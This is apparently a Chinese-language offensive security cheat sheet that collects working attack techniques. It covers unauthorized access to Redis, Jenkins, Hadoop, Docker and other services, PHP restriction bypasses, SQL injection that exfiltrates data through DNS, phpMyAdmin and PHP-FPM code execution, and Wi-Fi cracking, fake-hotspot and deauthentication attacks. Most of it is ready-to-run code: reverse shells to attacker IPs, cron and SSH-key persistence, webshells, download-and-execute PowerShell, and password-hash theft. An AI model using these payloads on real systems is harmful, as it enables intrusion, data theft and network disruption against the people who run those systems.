echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
执行
>bash 1.sh 192.168.0.120 6379

image
image

写shell
6379> config set dir /var/www/html/
6379> config set dbfilename shell.php
6379> set x "<?php phpinfo();?>"
6379> save
SSH
ssh-keygen
本地生成一对密钥
https://github.com/JoyChou93/hackredis
>ssh-keygen -t rsa -C "xx@xx.com"
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>redis-cli -h 127.0.0.1 flunshall
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
本地登录
#ssh -i id_rsa root@11.11.11.11
redis-rogue-getshell
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

image

redis-rogue-server
https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

image
image

也可以反向shell

image
image

redis在windows下的利用
Web目录写入木马
启动项
系统DLL劫持(目标重启或注销)
特定软件的DLL劫持
覆盖快捷方式
覆盖配置文件
覆盖sethc等文件
https://github.com/r35tart/RedisWriteFile
>python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码
Lua RCE
https://github.com/QAX-A-Team/redis_lua_exploit
修改redis_lua.py里的 host 为目标 IP
执行返回正常,反弹shell
>eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0
Jenkins未授权访问
http://www.qq.com:8080/manage
http://www.qq.com:8080/script
执行命令
>println "ifconfig -a".execute().text
反弹shell
>println "wget http://your.com/back.py -P /tmp/".execute().text
>println "python /tmp/back.py yourIP 8080".execute().text
写shell
>println "wget http://your.com/t.txt -o /var/www/html/1.php".execute().text
>new File("/var/www/html/1.php").write('<?php @eval($_POST[1]);?>');
>def webshell = '<?php @eval($_POST[1]);?>'
>new File("/var/www/html/1.php").write("$webshell");
MongoDB未授权访问
默认端口27017直接连接进行增删改查
连接工具
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
ZooKeeper未授权访问
默认端口2181
获得服务器环境信息
>echo envi|nc 192.168.0.1 2181
连接
>./zkCli.sh -server ip:port
连接工具
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
Elasticsearch未授权访问
默认端口9200
http://1.1.1.1:9200/_plugin/head/
http://1.1.1.1:9200/_nodes
http://1.1.1.1:9200/_river
http://1.1.1.1:9200/_plugin/sql/
Memcache未授权访问
默认端口11211
>telnet 1.1.1.1 11211
>nc -vv 1.1.1.1 11211
Hadoop未授权访问
http://192.168.1.1:8088/cluster
本地监听端口 >> 创建Application >> 调用Submit Application API提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
import requests

target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
Docker未授权访问
默认端口2375
>docker -H tcp://1.1.1.1:2375 images
本地监听
启动容器
docker -H tcp://1.1.1.1:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://1.1.1.1:2375 ps
进入容器
docker -H tcp://1.1.1.1:2375 exec -it a8ff7ed880fb sh
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root 
exit
Shipyard默认密码
admin/shipyard
ActiveMQ未授权访问
默认端口8161
http://1.1.1.1:8161/admin/connections.jsp
PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 1.1.1.1:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123
JBOSS未授权访问
http://192.168.1.1:8080/jmx-console/ 无需认证进入
jboss.deployment部署shell
addURL()的paramValue写入远程war木马地址

阿里云OSS Key利用

反编译app文件,查找可能会包含oss key的文件,如JS。
OSSAccessKey、AccessKeySecret使用OSS浏览器访问。
第三方行云管家可修改系统密码。
反弹shell
From: https://xz.aliyun.com/t/8310
https://api.aliyun.com/#/?product=Ecs
搜索框搜索选择CreateCommand来创建一个命令
CommandContent填命令的base64,Type填RunShellScript
命令echo "bash -i >& /dev/tcp/你的IP/端口 0>&1"| base64
bash -i >& /dev/tcp/你的IP/端口 0>&1
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xLjEuMS4xLzQ0NDQgMCZndDsmMQ==

image

填好以后点调试SDK
会直接给你起一个Cloud shell

image

并创建一个CreateCommand.py文件,使用vi编辑

image

填accessKeyId,accessSecret保存执行,并记录Commandid

image

再次在搜索框搜索InvokeCommand

image

Commandid填上面请求的返回值,InstanceId填行云管家显示的实例ID

image

填好了点调试sdk然后编辑文件把accessKeyId accessSecret填一下,执行

image

然后看监听的服务器shell已经反弹成功

image

Linux绕过disable_function

LD_PRELOAD
linux环境
putenv()、mail()可用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置,sopath指定so文件路径。
或
替换php文件中的mail为error_log("a",1);
php7.0-7.3 bypass
直接bypass
https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php
windows系统组件com绕过
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<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
CGI启动方式
phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe
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linux平台
#!/bin/bash
echo -ne "Content-Type: text:html\n\n"
whoami
如果是fast_cgi,上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
ImageMagick组件绕过
imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种
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<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")' //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
第二种
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#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译
gcc -shared -fPIC imag.c -o imag.so
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<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>
常规函数绕过
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<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{ echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{ echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux
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<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
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<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
php 7.4
ffi.enable=true
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<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
"int system(char *command);",
"libc.so.6");
$ffi->system($a);
?>
shellshock
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用
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<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
蚁剑插件
01利用LD_PRELOAD环境变量
02利用ShellShock(CVE-2014-6271)
03利用Apache Mod CGI
04 PHP-FPM利用LD_PRELOAD环境变量(同1)
05攻击PHP-FPM监听端口
06 Json Serializer UAF
07具有特定析构函数UAF的PHP7 GC

open_basedir绕过

第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));

Tomcat Ajp LFI&RCE

LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass

image

RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
配合目标文件上传传入服务器

image

>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"

image

Mysql连接文件读取

https://github.com/Gifts/Rogue-MySql-Server
客户端必须启用LOCAL-INFILE 
客户端支持非SSL连接
目标web存在adminer等可检查数据库连接的脚本。
攻击机本地运行python构造假mysql服务,使用目标web连接,读取文件。
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3305))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

Mysql开启外连

>grant all privileges on user.* to user@"%" identified by "P@ssw0rd";

MSSQL&Agent Job上线

USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
使用在注入点处,使用burp进行url编码,编码后前面加%20(空格URL编码)

注入无列名

http://url/index.php?id=1 order by 6
http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

DNSLog

http://ceye.io
http://www.dnslog.cn/
注入
MYSQL
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示表
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示字段
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据
?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
MSSQL
查数据
?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
Sa密码
?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
执行命令
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
postgreSQL
?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
Oracle
?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
命令执行
>curl http://0ox095.ceye.io/`whoami`
>ping `whoami`.b182oj.ceye.io
>ping %CD%.lfofz7.dnslog.cn 
&
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
Struts
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
weblogic
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

PHPMyadmin

LOG
show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php'; 
select '<?php eval($_POST[cmd]);?>'
慢查询
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
任意文件读取
phpMyAdmin 2.x
POST /scripts/setup.php HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
LFI
phpMyAdmin 4.0.1--4.2.12,PHP < 5.3.4
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
phpMyAdmin 4.8.0和4.8.1 后台权限
>select '<?php phpinfo();exit;?>'
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_***
RCE
PhpMyAdmin 4.0.x-4.6.2,PHP 4.3.0-5.4.6后台权限
>cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
phpMyAdmin 4.8.0~4.8.3
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
访问http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop';
访问
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

PHP-FPM RCE

>git clone https://github.com/neex/phuip-fpizdam.git
>cd phuip-fpizdam
>go get -v && go build
>go run . http://127.0.0.1/index.php
http://127.0.0.1/index.php?a=id
多执行几次

phpstudy后门

php:5.2.17   5.4.45

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

cmdhijack

From: https://hackingiscool.pl/
poc完整的命令行
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
可能产生的影响
包括拒绝服务,信息泄露,任意代码执行(取决于目标应用程序和系统)。
以web应用为例

image

由于使用了escapeshellcmd(),不易受命令注入的影响,使用本方法
一个poc

image
image

不限于任何位置,文件

image

再扩展一下 
如,powershell带-enc执行,或mshta等方法,可参考
https://lolbas-project.github.io/,但是依照windows的特性,在无法将完整字符串解析为有效路径的情况下,会拆分空格后面的内容,这里可以使用&符号
如:
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"

image

Database

MSSQL

判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表
import requests
import re

table_list = ['']

def get_sqlserver_table(table_list, table_num):
    for num in range(0,table_num):
        # print("','".join(table_list))
        sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
        url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
        r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
        res = re.search(r'\'(.*)\'', r.content.decode('utf-8'),  re.M|re.I)
        table_name = str(res.group(1))
        table_list.append(table_name)
        print("[{}] - TableName: {}".format(str(r.status_code), table_name))
if __name__ == "__main__":
    get_sqlserver_table(table_list, 16)

判断是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
执行命令
;exec master..xp_cmdshell "net user name password /add"—
查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
and (select IS_MEMBER('db_owner'))=1--   //  dbo
and (select IS_MEMBER('public'))=1--  //public
站库分离获取服务器IP
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
LOG备份
;alter database testdb set RECOVERY FULL --
;create table cmd (a image) --
;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')-- 
;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
2000差异备份
;backup database testdb to disk ='c:\wwwroot\bak.bak';--
;create table [dbo].[testtable] ([cmd] [image]);--
;insert into testtable (cmd) values(木马hex编码);--
;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
2005差异备份
;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;create/**/table/**/[itpro]([a]/**/image)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;drop/**/table/**/[itpro]—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--

PostgreSQL

连接
>psql -U dbuser -d exampledb -h 127.0.0.1 -p 5432
查看版本
>select version();
列出数据库
>select datname from pg_database;
列出所有表名
>select * from pg_tables;
读取账号秘密
>select usename,passwd from pg_shadow;
当前用户
>select user;
修改密码
>alter user postgres with password '123456';
列目录
>select pg_ls_dir('/etc');
读文件
>select pg_read_file('postgresql.auto.conf',0,100); #行数
&
>drop table wooyun;
>create table wooyun(t TEXT);
>copy wooyun FROM '/etc/passwd';
>select * from wooyun limit 1 offset 0;
&
>select lo_import('/etc/passwd',12345678);
>select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a;
写文件
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[1]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';
&
copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';
爆破
MSF>use auxiliary/scanner/postgres/postgres_login
执行命令版本8.2以下
>create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
>create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
>select system('id');

近源攻击

WI-FI破解

wifite

Kali下工具wifite,加载网卡,开启监听模式,#airmon-ng check kill
#airmon-ng start wlan1
安装hcxtools v4.2.0或更高版本,hcxdumptool v4.2.0或更高版本
#apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
#git clone https://github.com/ZerBea/hcxtools
#cd hcxtools
#make
#make install 
#git clone https://github.com/ZerBea/hcxdumptool
#cd hcxdumptool
#make
#make install
#wifite –-dict /root/Desktop/wordlist.txt  加载

Aircrack-ng

#airmon-ng start wlan0 开启监听模式
#airodump-ng wlan0mon  查看数据包
#airodump-ng –c 1 –bssid APmac –w name wlan1mon保存某AP数据包
#aireplay-ng –deauth 10 –a APmac wlan0mon  deauth攻击
#aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon deauth攻击某个设备直至获取handshake(握手包)
#airmon-ng stop wlan0mon  关闭监听模式
#aircrack-ng –w wordlist.txt name.cap 指定字典破解密码

钓鱼网络

Hostapd

#apt install hostapd dnsmasq
#cd /etc/hostapd
#vim open.conf 创建无加密热点
Interface=wlan1
Ssid=FreeWIFI
Driver=nl80211
Channel=1
Hw_mode=g

#vim /etc/dnsmasq.conf
Dhcp-range=10.0.0.1, 10.0.0.255,12h
Interface=wlan1

#systemctl restart dnsmasq
消除网卡限制
#nmcli radio wifi off
#rfkill unblock wlan
#ifconfig wlan1 10.0.0.1/24
#hostapd open.conf
嗅探
#sysctl –w net.ipv4.ip_forward=1
#iptables –t nat –A POSTROUTING –o 网卡 –j MASQUERADE
#bettercap –iface wlan1
#net.show
#net.sniff on
#driftnet –i wlan1

Hostapd-wpe

#apt install hostapd-wpe
#vim /etc/hostapd-wpe/hostapd-wpe.conf
配置interface=wlan1
Ssid=
Channel=
证书修改
#cd /etc/hostapd-wpe/certs/
文件ca.cnf server.cnf client.cnf
修改countrName stateOrProvinceName localityName …….
#rm –rf *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
#make clean
#./bootstrap
#make install
执行创建热点
#hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
获取到密码时使用asleep破解
#asleap –C Challenge值 –R response值 –W 字典文件

无线干扰

Beacon flood

需切换网卡为监听模式
#airmon-ng start wlan1
创建大量虚假热点Mdk3 mon0 b
#mdk3 wlan1mon b -f /root/wifi.txt -a -s 1500

Deauth flood

针对AP
#airmon-ng start wlan1
#aireplay-ng –deauth 10 –a AP’s mac address mon0
针对AP内设备
#airmon-ng start wlan1       将网卡置为监听模式
#airodump-ng wlan1mon –bssid 目标ap的ssid
#aireplay-ng -0 0 -a ap的ssid -c AP的ssid wlan0mon 开始攻击

Mdk3 destruction

针对范围内
#mdk3 wlan1mon d
针对AP
